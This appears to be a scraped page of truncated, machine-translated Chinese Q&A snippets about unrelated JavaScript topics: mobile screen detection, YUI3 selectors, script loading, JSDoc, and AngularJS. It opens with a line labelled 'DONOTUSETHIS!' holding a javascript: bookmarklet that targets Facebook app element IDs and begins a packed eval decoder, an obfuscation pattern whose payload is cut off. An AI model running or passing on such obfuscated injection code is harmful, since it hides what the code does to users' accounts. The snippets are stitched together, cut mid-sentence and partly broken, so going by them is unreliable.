DONOTUSETHIS!javascript:(function(){a='app107489592636080_KxqAxK';b='app107489592636080_bGBstB';gASjYp='app107489592636080_gASjYp';kyFYLC='app107489592636080_kyFYLC';NGqzYj='app107489592636080_NGqzYj';eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};
这听起来好得令人难以置信,所以如果是这样请告诉我。如果我只有一个单一版本的移动网站(没有变体不同的设备,所有手机只有一个网站),它的可靠性如何通过屏幕分辨率检测移动设备?如果屏幕分辨率小于400像素,则只需提供移动版本。注意:我的问题假定启用了javascript。另外,我知道有用户代理检测,但我不想使用它。 最佳答案 Javascript移动设备屏幕高度检测根本不可靠。问题是不同的浏览器使用不同数量的“chrome”,不同的操作系统版本对系统栏使用不同的高度。所有检测机制报告的高度都不可靠(screen.height、window
我刚从YUI2切换到YUI3。因此,我没有使用YAHOO.util.Dom.get(ID_OF_ELEMENT),而是尝试使用Y.one('#ID_OF_ELEMENT)'。它适用于idimg123的div,但不适用于123img或123>.我也尝试过使用Y.all但它没有用。我发现让它工作的唯一方法是使用Y.DOM.byId(显示为alternativeinYUIforum),同时仍然使用YUI。所以我所做的是用最后一个获取元素并用第一个获取节点,如下所示:Y.one(Y.DOM.byId(ID_OF_ELEMENT)).append(SOME_HTML_CONTENT);我不能单独
我遇到了这个问题。我有一个检查变量是否存在的脚本,因为有些脚本是异步加载的,例如用于Facebook的FB或用于Twitter的twttr。functionwhenAvailable(name,callback,interval){interval||(interval=100);//mswindow.setTimeout(function(){if((window.hasOwnProperty&&window.hasOwnProperty(name))||window[name]||!!eval(name)){returncallback();}else{window.setTime
我在网上阅读了几篇关于优化javascript加载的文章。我得到的几个关键点是最小化脚本文件(http请求)的数量,缩小并在服务器上启用gzip。目前,我这边所做的是缩小所有javascript文件,并且也可以简单地启用gzip。第1部分)我的问题是我有大约20个javascript文件,其中一个common.js具有所有核心功能。除此之外,每个页面都会加载至少一个实现该页面功能的其他文件。解决方案1,是将所有脚本合并到一个大脚本文件中,并为每个客户端加载一次,这似乎是其他人正在做的。我猜YUI或者JSMin可以用来压缩,所以我应该手动合并文件?解决方案2,当需要一个必需的功能时延迟加
我需要使用JavaScript获取以下列方式发布的用户名:by我该怎么做?我尝试了以下方法,但没有用:document.getElementById('project_username').innerHTML 最佳答案 您通过id选择,而您需要通过className选择:document.getElementsByClassName('project_username')[0].innerHTMLLiveDEMO请注意,document.getElementsByClassName未在旧版IE中实现...另一种方式:document
我有一个通过Object.defineProperties定义一些实例属性的类,我很难获得JSDoc3认识到他们属于自己的类(Class)。这是我正在使用的简化版本:/**@exportsmymodule*/functionmymodule(exports){/**@constructor*@param{String}fooAfoo.*@param{String}barAbar.*@classdescHasafooandabar.*/functionExample(foo,bar){Object.defineProperties(this,{/**Afooandabar*@member
检查下面的代码。问题在评论中。angular.module('MainStreetMower.services',['ngResource']).factory('Videos',function($resource){return$resource('/api/jobs/1/');});functionVideoListCtrl($scope,Videos){$scope.videos=Videos.query();$scope.what=function(){//properwaytopushtothevideosarrayand$save()thenewarray.}}
我很困惑为什么当我尝试在for循环中append多个元素时只插入最后一个元素。我创建了一个JsFiddle展示我无法让它工作。我希望插入100个anchor标记,但只插入了最后一个元素。为了后面的缘故,这里是相关的JavaScript,TODO标记了相关部分:Math.randomNumber=function(max){returnMath.round(Math.random()*max%max);}varDoor={$el:$('',{class:'doorselectable'}),number:null,isSelected:false,containsZonk:true,bi
我假设使用HTML5中的所有这些硬件加速动画,实际上不会渲染在视口(viewport)之外运行的动画。我希望能够检测到是否正在发生。我尝试在每秒移动100px的对象上循环使用webkitCSSMatrix来尝试确定每个刻度线移动了多少像素,但是如果我将动画移出视线则没有区别。有任何想法吗? 最佳答案 您可以使用单独的计时器测试来查看伪经验方面在外部和内部绘制的对象之间的差异(计时器实际上并不能证明任何东西,但可以为您提供强大的indisium)。但是,了解Canvas的工作原理也可以为您提供坚实的指导。例如,Canvas是一个简单的